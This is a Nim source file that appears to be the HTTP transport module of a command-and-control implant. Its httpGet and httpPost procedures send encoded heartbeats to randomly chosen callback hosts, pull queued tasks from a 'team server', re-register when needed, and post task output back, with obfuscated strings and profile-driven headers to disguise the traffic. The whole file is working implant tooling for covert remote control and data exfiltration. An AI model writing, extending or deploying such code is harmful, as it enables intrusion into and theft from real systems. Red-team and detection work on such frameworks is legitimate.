117 lines
4.7 KiB
Nim
117 lines
4.7 KiB
Nim
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
|
import ../utils/io
|
|
import ../../common/[types, utils, profile]
|
|
|
|
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|
|
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
|
var heartbeatString: string
|
|
|
|
# Apply data transformation to the heartbeat bytes
|
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
|
of protect("base64"):
|
|
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
|
of protect("none"):
|
|
heartbeatString = Bytes.toString(heartbeat)
|
|
|
|
# Define request headers, as defined in profile
|
|
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
|
client.headers.add(header, value.getStringValue())
|
|
|
|
# Select a random endpoint to make the request to
|
|
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
|
if endpoint[0] == '/':
|
|
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
|
|
|
let
|
|
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
|
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
|
payload = prefix & heartbeatString & suffix
|
|
|
|
# Add heartbeat packet to the request
|
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
|
of protect("header"):
|
|
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
|
of protect("parameter"):
|
|
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
|
endpoint &= fmt"{param}={payload}&"
|
|
of protect("uri"):
|
|
discard
|
|
of protect("body"):
|
|
discard
|
|
else:
|
|
discard
|
|
|
|
# Define additional request parameters
|
|
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
|
endpoint &= fmt"{param}={value.getStringValue()}&"
|
|
|
|
try:
|
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
|
# Select random callback host
|
|
let hosts = ctx.hosts.split(";")
|
|
let host = hosts[rand(hosts.len() - 1)]
|
|
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
|
|
|
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
|
if response.code == Http404:
|
|
ctx.registered = false
|
|
|
|
# Return if no tasks are queued
|
|
let responseBody = waitFor response.body
|
|
if responseBody.len() <= 0:
|
|
return ""
|
|
|
|
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
|
let
|
|
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
|
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
|
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
|
|
|
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
|
of protect("base64"):
|
|
return decode(encResponse)
|
|
of protect("none"):
|
|
return encResponse
|
|
|
|
except CatchableError as err:
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
|
print "[-] ", err.msg
|
|
|
|
finally:
|
|
client.close()
|
|
|
|
return ""
|
|
|
|
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|
|
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
|
|
|
# Define request headers, as defined in profile
|
|
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
|
client.headers.add(header, value.getStringValue())
|
|
|
|
# Select a random endpoint to make the request to
|
|
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
|
if endpoint[0] == '/':
|
|
endpoint = endpoint[1..^1]
|
|
|
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
|
|
|
let body = Bytes.toString(data)
|
|
|
|
try:
|
|
# Send post request to team server
|
|
# Select random callback host
|
|
let hosts = ctx.hosts.split(";")
|
|
let host = hosts[rand(hosts.len() - 1)]
|
|
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
|
|
|
except CatchableError as err:
|
|
print "[-] ", err.msg
|
|
return false
|
|
|
|
finally:
|
|
client.close()
|
|
|
|
return true |